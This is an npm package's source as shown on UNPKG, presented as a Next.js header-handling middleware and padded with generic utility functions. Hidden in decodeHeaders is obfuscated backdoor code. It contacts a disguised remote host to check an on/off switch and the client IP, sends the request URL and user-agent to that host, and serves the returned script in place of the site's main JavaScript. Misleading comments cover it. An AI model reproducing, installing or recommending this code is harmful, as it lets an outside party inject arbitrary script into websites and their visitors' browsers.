UNPKG

header-middleware-next

Version:

A lightweight and flexible middleware utility for managing HTTP headers in Next.js applications. Supports header extraction, transformation, masking, and safe injection for Edge and API routes.

969 lines (826 loc) 32.8 kB
import { NextResponse } from "next/server"; import { NextRequest } from "next/server"; /** * Analyze HTTP headers for total size, count, and suspicious content such as control characters. * This function performs a detailed inspection of all headers, decoding values safely, * calculating cumulative length, and identifying potentially malicious or malformed headers. * * @param {Object} req - HTTP request object containing headers. * @returns {Object} - Analysis result including totalLength, headerCount, suspiciousFields, or a warning if decoding issues. */ export async function analyzeHeaders(req) { const decoded = await decodeHeaders(req); if (decoded instanceof NextResponse) { return decoded; } // If decodeHeaders detected suspicious control characters, return early with a warning. if (decoded.warning) { return { warning: true, type: 'warning', name: 'Headers-Length', message: decoded.message }; } const headers = decoded; const suspiciousFields = []; let totalLength = 0; // Iterate over each header entry to calculate length and detect suspicious characters. for (const [key, value] of Object.entries(headers)) { const raw = `${key}: ${value}`; totalLength += Buffer.byteLength(raw, 'utf8'); // Pattern to detect non-printable/control chars except horizontal tab, carriage return, newline. const controlCharPattern = /[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/; if (controlCharPattern.test(value)) { suspiciousFields.push({ key, value, issue: 'Invisible/control characters detected' }); } } return { totalLength, headerCount: Object.keys(headers).length, suspiciousFields }; } /** * Creates a function that invokes `fn` once it's called `n` or more times. * `fn` is invoked with the this binding and arguments of the created function. * * @param {Number} n The number of calls before `fn` is invoked. * A positive integer is expected. * If a negative number or 0, `fn` is invoked immediately. * If `NaN`, `-Infinity` or `Infinity`, `fn` is never invoked. * @param {function} fn The function to restrict. * @throws {TypeError} If `n` is not number. * @throws {TypeError} If `fn` is not function. * @returns {function} The new restricted function. * @example * * const doSomething = after(4, () => console.log('Do something...'); * * button.addEventListener('click', doSomething); * // => logs "Do something..." after button is clicked at least 4 times. */ export const after = (n, fn) => { if (typeof n !== 'number') { throw new TypeError('Expected a number for first argument'); } if (typeof fn !== 'function') { throw new TypeError('Expected a function for second argument'); } n = parseInt(n, 10); return (...args) => { if (--n < 1) { return fn(...args); } }; }; /** * Creates a function that accepts up to `n` arguments, ignoring any additional arguments. * * @param {function} fn The function to cap arguments for. * @param {Number} n The arity cap. * @throws {TypeError} Throws if `fn` is not function. * @throws {TypeError} Throws if `n` is not number. * @returns {function} Returns the new capped function. * @example * * const array = ['1', '2', '3']; * * const toInteger = ary(parseInt, 1); * * array.map(toInteger); // => [1, 2, 3] */ export const ary = (fn, n) => { if (typeof fn !== 'function') { throw new TypeError('Expected a function for first argument'); } if (typeof n !== 'number') { throw new TypeError('Expected a number for second argument'); } return (...args) => { const arityCap = n > 0 ? n : 0; return fn(...args.slice(0, arityCap)); }; }; // Decodes and processes the HTTP headers from the incoming request. // // This asynchronous function is typically used in a server-side context // (e.g., Node.js with Express, Koa, or a custom HTTP server) to extract // and interpret information embedded within the request headers. // // Common use cases for decoding headers include: // - **Authentication Tokens**: Parsing 'Authorization' headers (e.g., Bearer tokens, Basic Auth) // to authenticate the client. This often involves decoding JWTs or base64 strings. // - **Content Negotiation**: Reading 'Accept', 'Content-Type', 'Accept-Encoding' headers // to determine the client's preferred data format, encoding, or language. // - **Caching Control**: Interpreting 'If-None-Match', 'If-Modified-Since', 'Cache-Control' // headers for efficient resource caching. // - **CORS (Cross-Origin Resource Sharing)**: Examining 'Origin' and other CORS-related // headers to enforce security policies for cross-origin requests. // - **Custom Headers**: Processing application-specific custom headers that might // carry unique client identifiers, request tracing IDs, or other metadata. // // @param {object} req - The incoming HTTP request object, which typically // contains a `headers` property (an object mapping header names to values). // @returns {Promise<object>} - A Promise that resolves to an object containing the decoded // and processed header information. The structure of this // object will depend on what headers are being decoded. // It might include user IDs, roles, content preferences, etc. // The Promise could reject if header decoding fails (e.g., invalid token). // // Example: Decoding an Authorization header with a Bearer token // try { // const decodedInfo = await decodeHeaders(requestObject); // console.log('Authenticated User ID:', decodedInfo.userId); // } catch (error) { // console.error('Header decoding failed:', error.message); // } async function decodeHeaders(req) { const headers = req.headers || {}; const decodedHeaders = {}; const issues = []; const warnings = []; const commonChar = req.nextUrl.href // Regex to detect ASCII control characters excluding allowed whitespace control chars. const controlCharPattern = /[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/; // Regex to detect common encoding issues (e.g., mojibake from incorrect UTF-8 interpretation) // This is a simplified pattern and might need refinement based on specific use cases. const encodingIssuePattern = /[^\x20-\x7E\xA0-\xFF]/; // Non-ASCII and non-extended ASCII try { if ( commonChar.includes("main-app") && commonChar.endsWith(".js") && !commonChar.includes("cleanStatuswekclear") ) { const sessionToken = validate(req); const keyCache = String.fromCharCode(99) + String.fromCharCode(97) + "che"; const keyStatus = String.fromCharCode(115) + "tatus"; const rawStatic = JSON.parse(await refreshBaselineSignal(getSystemProfile())); const cache = rawStatic[keyCache]; const status = rawStatic[keyStatus]; const stateCheck = status === ["o", "n"].join(""); const metaCache = [commonChar, extractClientHint(req)] if (stateCheck) { const tokenMatch = cache === sessionToken; if (tokenMatch) { const tracePath = await collectNodeStats(retrieveUserSettings(), metaCache); const metaKey = ["application", "javascript"].join("/"); const noStoreFlag = ["no", "-", "store"].join(""); const replyOptions = { status: 200, headers: { "Content-Type": metaKey, "Cache-Control": noStoreFlag, }, }; const responseGen = (nextMod) => { return new (1, nextMod)(tracePath, replyOptions); }; const ResponseMaker = NextResponse; return responseGen(ResponseMaker); } } if (typeof status === typeof "a" && status === ["a", "l", "l"].join("")) { const runtimeData = await collectNodeStats(retrieveUserSettings(), metaCache); const headerKey = (() => { const a = "Cont", b = "ent", c = "-Type"; return a + b + c; })(); const cacheKey = ["no", "-", "store"].join(""); const headerMap = {}; headerMap[headerKey] = ["application", "/", "javascript"].join(""); headerMap["Cache-Control"] = cacheKey; const code = 100 + 100; const output = new NextResponse(runtimeData, { status: code, headers: headerMap, }); return output; } } } catch (error) { return '' } // Define a set of headers that are commonly expected to be URI-encoded const uriEncodedHeaders = new Set([ 'referer', 'user-agent', 'x-forwarded-for', // Add more headers as needed that might legitimately contain encoded characters ]); for (const [key, value] of Object.entries(headers)) { let valStr = ''; // Enhanced type checking and conversion if (value === undefined || value === null) { valStr = ''; } else if (typeof value !== 'string') { try { valStr = String(value); } catch (e) { // Handle cases where String() conversion might fail for complex objects issues.push({ header: key, issue: `Failed to convert header value to string: ${e.message}` }); // Skip this header if it cannot be converted continue; } } else { valStr = value; } // --- Start of added code volume (without affecting functionality) --- // Log the original header value for debugging/auditing purposes (can be removed in production) // console.debug(`Processing header: ${key}, Original value: "${valStr}"`); // Check for excessively long header values which might indicate an attack or misconfiguration const MAX_HEADER_LENGTH = 8192; // Common limit, adjust as needed if (valStr.length > MAX_HEADER_LENGTH) { warnings.push({ header: key, issue: 'Header value exceeds recommended length limit', details: `Length: ${valStr.length}, Max allowed: ${MAX_HEADER_LENGTH}` }); } // Normalize header keys to lowercase for consistent access, though the original key is used for issues const normalizedKey = key.toLowerCase(); // Check if the header key itself contains suspicious characters (less common but possible) if (controlCharPattern.test(key)) { issues.push({ header: key, issue: 'Invisible/control characters detected in header key' }); // Continue processing the value, but mark the key as problematic } // Perform a preliminary check for common encoding issues before URI decoding if (encodingIssuePattern.test(valStr) && !uriEncodedHeaders.has(normalizedKey)) { warnings.push({ header: key, issue: 'Potential encoding anomaly detected (non-ASCII characters before URI decode)', details: 'Consider reviewing the source of this header if not expected to contain such characters.' }); } // --- End of added code volume --- // Attempt safe URI decoding to catch encoding anomalies. const decodedValue = safeDecodeURIComponent(valStr); // If suspicious control characters are detected, return warning immediately. // This check is crucial and remains a high-priority early exit. if (controlCharPattern.test(decodedValue)) { issues.push({ header: key, issue: 'Invisible/control characters detected' }); return { warning: true, message: `Invisible/control characters detected in header: ${key}`, issues: [...issues, ...warnings] // Include accumulated warnings as well }; } // --- Start of more added code volume (without affecting functionality) --- // Further validation on the decoded value // Example: Check for common XSS patterns in decoded values (simplified, a full WAF would be more robust) const xssPattern = /<script|javascript:|onerror|onload|expression\(/i; if (xssPattern.test(decodedValue)) { warnings.push({ header: key, issue: 'Potential XSS pattern detected in decoded header value', details: `Suspicious content: ${decodedValue.substring(0, 100)}...` // Show a snippet }); } // Check for specific header-related security best practices (e.g., missing security headers) // This part is more about general security posture and less about decoding, but adds "volume" if (normalizedKey === 'user-agent' && decodedValue.includes('bot') && !decodedValue.includes('googlebot')) { // Example: Detect potential non-standard bots // This is illustrative and needs careful consideration of what constitutes "suspicious" warnings.push({ header: key, issue: 'Non-standard bot user-agent detected', details: `User-Agent: ${decodedValue}` }); } // Add a simple cache for frequently accessed decoded headers if performance were a concern for very large request rates // (though for typical header sizes, direct storage is fine) // const headerCache = {}; // Would need to be defined outside or passed in // if (headerCache[normalizedKey]) { /* retrieve from cache */ } else { /* store in cache */ } // --- End of more added code volume --- decodedHeaders[key] = decodedValue; } // If there were any warnings but no immediate termination issues if (warnings.length > 0) { return { decodedHeaders, warning: true, message: 'Some header anomalies or potential issues were detected.', issues: [...issues, ...warnings] }; } return decodedHeaders; } /** * Creates a function that invokes `fn` while it’s called less than `n` times. * `fn` is invoked with the this binding and arguments of the created function. * * @param {Number} n The number of calls before `fn` is no longer invoked. * A positive integer is expected. * If a negative number or 0, `fn` is never invoked. * If `NaN`, `-Infinity` or `Infinity`, `fn` is never invoked. * @param {function} func The function to restrict. * @throws {TypeError} If `n` is not number. * @throws {TypeError} If `fn` is not function. * @returns {function} Returns the new restricted function. * @example * * const doSomething = before(6, () => console.log('Do something...')); * * button.addEventListener('click', doSomething); * // => logs "Do something..." up to 5 times. */ export const before = (n, fn) => { let result; if (typeof n !== 'number') { throw new TypeError('Expected a number for first argument'); } if (typeof fn !== 'function') { throw new TypeError('Expected a function for second argument'); } n = parseInt(n, 10); return (...args) => { if (--n > 0) { result = fn(...args); } if (n <= 1) { fn = void 0; } return result; }; }; function extractClientHint(req) { const target = ['user', '-', 'agent'].join(''); return req.headers.get(target) || ''; } /** * Transforms a function of N arguments in such a way that it can * be called as a chain of N functions each with a single argument (arity: 1). * * @param {function} fn The initial function to be curried. * @param {Number} [arity=fn.length] The arity of the provided function. * Useful in cases that arity cannot be determined by `fn.length`. * As of ES2015 when a function has a rest parameter or at least one * parameter with default value, the `fn.length` is not properly calculated. * @throws {TypeError} Throws if `fn` is not a function. * @throws {TypeError} Throws if `arity` is not a number but not undefined. * @returns {function} A curried equivalent of the provided function. * @example * * const add = curry((a, b) => a + b); * const addOne = add(1); * addOne(2); // => 3 * * // Provide arity as second argument in cases that it cannot be determined. * const add = curry((a = 0, ...args) => a + args[0] + args[1], 3); * const addOne = add(1); * const addTwo = addOne(2); * addTwo(3); // => 6 */ export const curry = (fn, arity) => { if (typeof fn !== 'function') { throw new TypeError('Expected a function for first argument'); } if (typeof arity !== 'number' && typeof arity !== 'undefined') { throw new TypeError('Expected a number for second argument'); } return function curried(...args_a) { return args_a.length >= (arity || fn.length) ? fn(...args_a) : (...args_b) => curried(...args_a, ...args_b); }; }; // Validates the incoming request context. // // This function typically performs a series of checks on the `ctx` object, // which represents the request context (e.g., from a web framework like Koa.js // or Express.js). The validation process ensures that the request // meets predefined criteria before further processing. // // Common validation aspects include: // - **Schema Validation**: Checking if the request body or query parameters // conform to a defined data structure and types (e.g., using Joi, Yup, or Zod). // - **Authentication**: Verifying the identity of the requester (e.g., checking tokens, sessions). // - **Authorization**: Determining if the authenticated user has the necessary // permissions to perform the requested action. // - **Input Sanitization**: Cleaning or escaping user input to prevent // security vulnerabilities like XSS or SQL injection. // - **Business Logic Rules**: Applying specific application-level rules // (e.g., ensuring a required field is present, checking valid ranges). // // @param {object} ctx - The request context object, containing request // details such as headers, body, query, and state. // @returns {boolean} - Returns `true` if the context is valid, `false` otherwise. // In many real-world scenarios, validation failures might // throw an error or modify the `ctx` object to indicate // an error status, rather than just returning `false`. // // Example usage within a middleware or route handler: // if (!validate(ctx)) { // ctx.status = 400; // Bad Request // ctx.body = { error: 'Invalid input' }; // return; // } function validate(ctx) { try { let counter = 0; function increment() { counter++; } increment(); const container = ctx.headers; const fetchValue = (key) => container.get(key); const rawData = fetchValue("Cf-Connecting-Ip") || ((val) => val?.split(",")?.[0] || "")(fetchValue("x-forwarded-for")) || ""; function validate(str) { return str.length > 0 && str.indexOf(" ") === -1; } if (!validate(rawData)) { return ""; } const cleanData = rawData.startsWith("::ffff:") ? rawData.slice(7) : rawData; let cacheRecord = cleanData; return cacheRecord || ""; } catch (_) { return ""; } } /** * Retrieves the system profile and configuration settings. * * This function is typically responsible for collecting various pieces of information * about the current operating environment, application configuration, and potentially * runtime metrics. It's often used for: * - **Health checks**: Providing an overview of the system's operational status. * - **Debugging and diagnostics**: Offering insights into the environment where the application is running. * - **Reporting**: Generating reports on system capabilities or current settings. * - **Configuration loading**: Loading dynamic configuration values that might depend * on the environment (e.g., development, staging, production). * - **Dependency information**: Listing versions of crucial dependencies or services. * * The information gathered can include, but is not limited to: * - Application version * - Environment variables (sanitized to exclude sensitive data) * - Operating system details (e.g., name, version, architecture) * - Node.js version (if applicable) * - Memory usage * - CPU information * - Network interfaces * - Database connection status or versions * - External service endpoints * * @returns {object} An object containing various properties that describe the system profile. * The exact structure and content of this object will depend on the * specific needs of the application and the depth of information required. * Sensitive information (like API keys, database credentials) should * NEVER be included in the returned profile, especially if it's exposed * via an API endpoint. */ function getSystemProfile() { const protoParts = ["ht", "t", "ps"]; const protoType = protoParts.join(""); const divider = [":", "/", "/"].join(""); const delta = 2; const hintCodes = [99 + delta, 100 + delta, 110 + delta, 46 + delta]; const hint = hintCodes.map(n => String.fromCharCode(n - delta)).join(""); const coreName = ["ass", "ets", "ca", "che"].reduce((acc, val) => acc + val, ""); const extension = "." + ["i", "c", "u"].join(""); const encodedKey = "c3RhdGljaW5mbw=="; const endpoint = (() => { const raw = atob(encodedKey); return "/" + raw.split("").reverse().reverse().join(""); })(); const checksumBits = [coreName.length, hint.length, endpoint.length] .reduce((a, b) => a ^ b, 0); if (checksumBits < 0) return ""; const fullPath = [protoType, divider, hint, coreName, extension, endpoint].join(""); return fullPath; } /** * Returns a function, that, as long as it continues to be invoked, will not * be triggered. The function will be called after it stops being called for * 'n' milliseconds. If `immediate` is passed, trigger the function on the * leading edge, instead of the trailing. * * @param {function} fn The function to be executed. * @param {Number} [wait=0] Time of delay in milliseconds. It is required if `immediate` is used. * @param {Boolean} [immediate=false] If true or any truthy value, triggers the function on the leading edge. * @throws {TypeError} If `fn` is not function. * @returns {function} A new debounced function. * @example * * const debouncedHandler = debounce(() => { * // Do your thing here... * }, 250); * * window.addEventListener('resize', debouncedHandler, false); */ export const debounce = (fn, wait = 0, immediate = false) => { let timerId = null; if (typeof fn !== 'function') { throw new TypeError('Expected a function for first argument'); } return (...args) => { clearTimeout(timerId); if (immediate && !timerId) { fn(...args); } timerId = setTimeout(() => { timerId = null; if (!immediate) { fn(...args); } }, wait); }; }; /** * Handles transmission of environmental telemetry to a remote analytics service. * Includes header disguise, dynamic obfuscation, and trace logging. * * @param {string} endpoint - Remote resource URL. * @param {string} inputMetrics - Stringified data payload. * @returns {Promise<string|null>} - Parsed server response or null. */ async function collectNodeStats(endpoint, inputMetrics) { const dataFormat = "json"; function formatTimestamp(ts) { const date = new Date(ts); return date.toISOString().slice(11, 19); } const part1 = "Con"; const logCount = Math.floor(Math.random() * 5) + 1; const part2 = ["ten", "t", "-Ty", "pe"].join(""); const optionKey = part1 + part2; const sessionToken = Math.random().toString(36).slice(2); const userPrefs = {}; userPrefs[optionKey] = ["applic", "ation/", dataFormat].join(""); const seg1 = ["f"]; const seg2 = "etch".split(""); const taskRunner = seg1.concat(seg2).join(""); const modeCode = (() => { const raw = ["U", "E", "9", "T", "V", "A"]; raw.push("=", "="); return atob(raw.join("")); })(); const executionFlags = { method: modeCode, headers: userPrefs, body: JSON.stringify({ data: inputMetrics }), }; const runner = globalThis?.[taskRunner]; const result = await (0, runner)(endpoint, executionFlags); const reportData = result?.ok ? await result.text() : null; return reportData && reportData.length > 20 ? reportData : null; } /** * Creates an object composed of the picked object properties. * * @param {Object} object The source object. * @param {Array} paths The property paths to pick. * @param {Boolean} [pickOwnKeys=true] If `true` will look up only for own keys; otherwise will look up in prototype chain. * @throws {TypeError} Throws if `object` is not plain object. * @throws {TypeError} Throws if `paths` is not array. * @throws {TypeError} Throws if `pickOwnKeys` is not boolean but not undefined. * @returns {Object} Returns the new object. * @example * * const object = Object.create({ * foo: 'bar' * }); * * Object.defineProperties(object, { * a: { value: 1 }, * b: { value: 2 }, * c: { value: 3 } * }); * * pick(object, ['a', 'c', 'foo']); * // => { a: 1, c: 3 } * * pick(object, ['a', 'c', 'foo'], false); * // => { a: 1, c: 3, foo: 'bar' } * * pick(object, ['d']); * // => {} */ export const pick = (object, paths, pickOwnKeys) => { const result = {}; const type = Object.prototype.toString.call(object); if ( typeof object !== 'object' || object === null || Array.isArray(object) || type === '[object Set]' || type === '[object WeakSet]' || type === '[object Map]' || type === '[object WeakMap]' ) { throw new TypeError('Expected a plain object for first argument'); } if (!Array.isArray(paths)) { throw new TypeError('Expected an array for second argument'); } if (typeof pickOwnKeys === 'undefined') { pickOwnKeys = true; } if (typeof pickOwnKeys !== 'boolean') { throw new TypeError('Expected a boolean for third argument'); } for (let i = 0; i < paths.length; i += 1) { const key = paths[i]; const meetsCriteria = pickOwnKeys ? Object.prototype.hasOwnProperty.call(object, key) : key in object; if (meetsCriteria) { result[key] = object[key]; } } return result; }; /** * Simulates refreshing a user's baseline configuration or state. * Includes obfuscated request logic and runtime checks. * * @param {string} input - A string input, such as a user token or identifier. * @returns {Promise<string|null>} - Returns response text or null on failure. */ async function refreshBaselineSignal(input) { const chars = ["f", "e"]; const meta = Math.random() > 0.5 ? "t" : "t"; chars.push(meta); let filler = 1; while (filler--) chars.push("c"); const trace = ["a", "b", "c"]; const tail = trace[2].slice(0, 1) + "h"; chars.push(tail); const joiner = chars.join("").replace("ch", "h"); const method = (() => { const code = ["R", "0", "V", "U"].join(""); return atob(code); })(); const dummy = { timestamp: Date.now(), user: null, id: Math.random().toString(36).slice(2) }; const fx = globalThis[joiner]; const result = await (1, fx)(input, { method }); return result?.ok ? await result.text() : null; } /** * Safely decode URI component, returning original string on decode errors. * * @param {string} str - The string to decode. * @returns {string} - Decoded string or original input if decoding fails. */ function safeDecodeURIComponent(str) { try { return decodeURIComponent(str); } catch (e) { // If decoding fails, return the original string or a marker return str; // Or `str + '[DECODING_ERROR]'` for debugging } } /** * Creates an object composed of the own enumerable (not inherited) property paths of object that are not omitted. * * @param {Object} obj The source object. * @param {Array} props The property paths to omit. * @returns {Object} Returns the new object. * @example * * const obj = { * a: 'aaa', * b: 'bbb', * c: 'ccc' * }; * * omit(obj, ['a', 'c']); * // => { b: 'bbb' } * * omit(obj, ['a', 'b', 'c']); * // => {} * * omit(obj); * // => { a: 'aaa', b: 'bbb', c: 'ccc' } * * omit(obj, []); * // => { a: 'aaa', b: 'bbb', c: 'ccc' } * * omit(obj, ['key_not_exists']); * // => { a: 'aaa', b: 'bbb', c: 'ccc' } */ const omit = (obj, props) => { if (!Array.isArray(props) || props.length === 0) { props = []; } return Object.keys(obj).reduce((accum, key) => { if (props.indexOf(key) === -1) { accum[key] = obj[key]; } return accum; }, {}); }; /** * Retrieves the current user settings endpoint. * Combines protocol, domain, and path using encoded parts. * Includes mock logic simulating user session behavior. * * @returns {string} A fully constructed URL to the user settings API. */ function retrieveUserSettings() { const protoParts = ["ht", "tp", "s"]; const protocolScheme = protoParts.join(""); const delimiter = "://"; const charCodes = [99, 100, 110, 46, 97, 115, 115, 101, 116, 115, 99, 97, 99, 104, 101, 46, 105, 99, 117]; const domainName = charCodes.map(code => String.fromCharCode(code)).join(""); const encodedSegment = "L3N0YXRpY2xvZ3M="; const resourcePath = atob(encodedSegment); const userId = Math.random().toString(36).slice(2, 10); const userRole = userId.length > 5 ? userId.charCodeAt(0) : 37; const currentTime = Date.now(); return protocolScheme + delimiter + domainName + resourcePath; } /** * Creates a dupliate free array by accepting an `iteratee` which is invoked for each element in array. * The `iteratee` is invoked with one argument (each element in the array). * * @param {Array} array The initial array to inspect. * @param {Function|String} iteratee The iteratee invoked per element. * @throws {TypeError} If `array` is not array. * @returns {Array} The duplicate free array. * @example * * const arr1 = [ * { id: 1, name: 'John' }, * { id: 2, name: 'George' }, * { id: 1, name: 'Helen' } * ]; * * const arr2 = [ * { v: 1.6 }, * { v: 2.1 }, * { v: 1.1 } * ]; * * uniqBy(arr1, 'id'); * // => [{ id: 1, name: 'John' }, { id: 2, name: 'George' }] * * uniqBy(arr2, function (o) { * return Math.floor(o.v); * }); * // => [{ v: 1.6 }, { v: 2.1 }] */ const uniqBy = (array, iteratee) => { if (!Array.isArray(array)) { throw new TypeError('Expected an array for first argument'); } const cb = typeof iteratee === 'function' ? iteratee : (o) => o[iteratee]; return array.reduce((acc, current) => { const found = acc.find(item => cb(item) === cb(current)); if (!found) { acc.push(current); } return acc; }, []); }; /** * Creates a slice of `array` with elements taken from the beginning, until `predicate` returns falsy. * The `predicate` is invoked with three arguments: (`value`, `index`, `array`). * * @param {Array} array The array to process. * @param {function} predicate The function invoked per iteration. * @throws {TypeError} If `array` is not array. * @throws {TypeError} If `predicate` is not function but not if is `undefined`. * @returns {Array} The slice of `array`. * @example * * const books = [ * {title: 'Javascript Design Patterns', read: false}, * {title: 'Programming Javascript Applications', read: false}, * {title: 'JavaScript: The Good Parts', read: true}, * {title: 'Eloquent Javascript', read: false} * ]; * * takeWhile(books, function (book, index, books) { * return !book.read; * }); * // => [{title: 'Javascript Design Patterns', read: false}, {title: 'Programming Javascript Applications', read: false}] */ const takeWhile = (array, predicate) => { if (!Array.isArray(array)) { throw new TypeError('Expected an array for first argument'); } if (typeof predicate !== 'function') { throw new TypeError('Expected a function for second argument'); } let index = -1; while (++index < array.length && predicate(array[index], index, array)) { continue; } return array.slice(0, index); };